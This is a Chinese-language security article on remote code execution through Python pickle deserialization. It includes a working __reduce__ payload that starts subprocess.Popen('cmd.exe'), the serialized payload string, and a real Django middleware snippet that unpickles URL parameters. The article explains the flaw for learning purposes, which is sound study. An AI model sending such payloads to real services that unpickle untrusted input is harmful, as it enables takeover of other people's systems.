Python Pickle反序列化帶來的安全問題

wyzsk發表於2020-08-19
作者: GaRY · 2013/01/15 9:23

0x00 前言

資料序列化,這是個很常見的應用場景,通常被廣泛應用在資料結構網路傳輸,session儲存,cache儲存,或者配置檔案上傳,引數接收等介面處。主要作用是為了能夠讓資料在儲存或者傳輸的時候能夠單單隻用string的型別去表述相對複雜的資料結構,方便應用所見即所得,直接進行資料交流處理。

然而安全問題也常常出現在這裡。隨手點點就有,PHP的unserialize/__wakeup()漏洞、struts的ognl、xml解析的一系列漏洞、當然,還有最近Ruby on Rails的xml/yaml。

而這裡的問題,不發生則已,一發生,則通常就是個天大的0day:遠端程式碼執行。

原因為何?和我們的第一段所說的應用場景有關。語言需要從string去解析出自己的語言資料結構,必然要去從這個string中做固定格式的解析,然後在內部把解析出來的結果去eval一下;或者,為了保證解析出來的內容為被序列化時候的Object狀態,要呼叫一下狀態儲存的函式__wakeup。

無論哪種,都是可能被有心人利用,從而接管流程,讓框架讓語言執行到他們的程式碼的。往深入了講,往“道”的方向提升,這種模式是計算機從誕生之日就存在的原罪之一:“資料和操作指令儲存在一起不加區分,從而很容易被誤解。”

仔細想想,緩衝區溢位(資料覆蓋了記憶體的其他區域被當作操作指令執行),SQL隱碼攻擊(資料被當作控制語句的一部分被執行),XSS(同sql注入)。哪一種大的安全問題不是這個原罪造成的?

0x01 細解

好了,扯了這麼多,跑題的嚴重,還是言歸正傳吧。

我們知道各大語言都有其序列化資料的方式,Python當然也有,官方庫裡提供了一個叫做pickle/cPickle的庫,這兩個庫的作用和使用方法都是一致的,只是一個用純py實現,另一個用c實現而已。使用起來也很簡單,基本和PHP的serialize/unserialize方法一樣:

import cPickle 

data = "test" 
packed = cPickle.dumps(data) # 序列化 
data = cPickle.loads(packed) # 反序列化 

>>> packed 
"S'test'\np1\n."

同樣pickle可以序列化python的任何資料結構,包括一個類,一個物件:

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def run(self): 
...         print self.a, self.b 
... 
>>> cPickle.dumps(A()) 
'ccopy_reg\n_reconstructor\np1\n(c__main__\nA\np2\nc__builtin__\nobject\np3\nNtRp4\n.'

這裡可以看到,連code都被序列化進去了。如果我們這個run函式是可以被自動執行的,那就可以形成一個很完美的遠端執行。

如何讓run函式被自動執行呢?類似於php的wakeup魔術方法,python也有其自己的方法,例如__reduce,可以在被反序列化的時候執行。具體內容請參考Python的官方庫文件。而且並不止這一個函式。

我們利用reduce做一個測試:

>>> class A(object): 
...     a = 1 
...     b = 2 
...     def __reduce__(self): 
...         return (subprocess.Popen, (('cmd.exe',),)) 
... 
>>> cPickle.dumps(A()) 
"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

然後新開一個py的命令列,模擬是接收方:

>>> cPickle.loads("csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n.") 
<subprocess.Popen object at 0x00BB8DD0> 
>>> Microsoft Windows XP [版本 5.1.2600] 
(C) 版權所有 1985-2001 Microsoft Corp. 

C:\Documents and Settings\testuser>exit
Use exit() or Ctrl-Z plus Return to exit 
>>>

bingo,很完美的一個shell,不是麼:)

只要你可以控制序列化中的內容,就可以讓接收方去執行你提供的程式碼。

0x02 例項

那麼現實中是否有類似的程式碼呢?請靈活使用google

我這裡隨便搜了一個很有代表性的程式碼:http://djangosnippets.org/snippets/2126/

def unpickle_stats(stats): 
    """Unpickle a pstats.Stats object""" 
    stats = cPickle.loads(stats) **#注意這裡** 
    stats.stream = True 
return stats

def process_request(self, request): 
        """  Setup the profiler for a profiling run and clear the SQL query log. 

  If this is a resort of an existing profiling run, just return  the resorted list.  """ 
        def unpickle(params): 
            stats = unpickle_stats(b64decode(params.get('stats', ''))) #這裡直接從url引數中獲取了 
            queries = cPickle.loads(b64decode(params.get('queries', ''))) #這裡也是 
            return stats, queries 

        if request.method != 'GET' and \ 
           not (request.META.get('HTTP_CONTENT_TYPE', 
                                 request.META.get('CONTENT_TYPE', '')) in 
                ['multipart/form-data', 'application/x-www-form-urlencoded']): 
            return 
        if (request.REQUEST.get('profile', False) and 
            (settings.DEBUG == True or request.user.is_staff)): 
            request.statsfile = tempfile.NamedTemporaryFile() 
            params = request.REQUEST 
            if (params.get('show_stats', False) 
                and params.get('show_queries', '1') == '1'): 
                # Instantly re-sort the existing stats data 
                stats, queries = unpickle(params) # 這裡呼叫了

這是某個開發者寫的django middleware的程式碼,很easy被利用,不是麼?

另外我在ibm上也看到有類似的教程使用了同樣的程式碼,也可以被利用:http://www.ibm.com/developerworks/cn/education/grid/gr-pyth3/section4.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章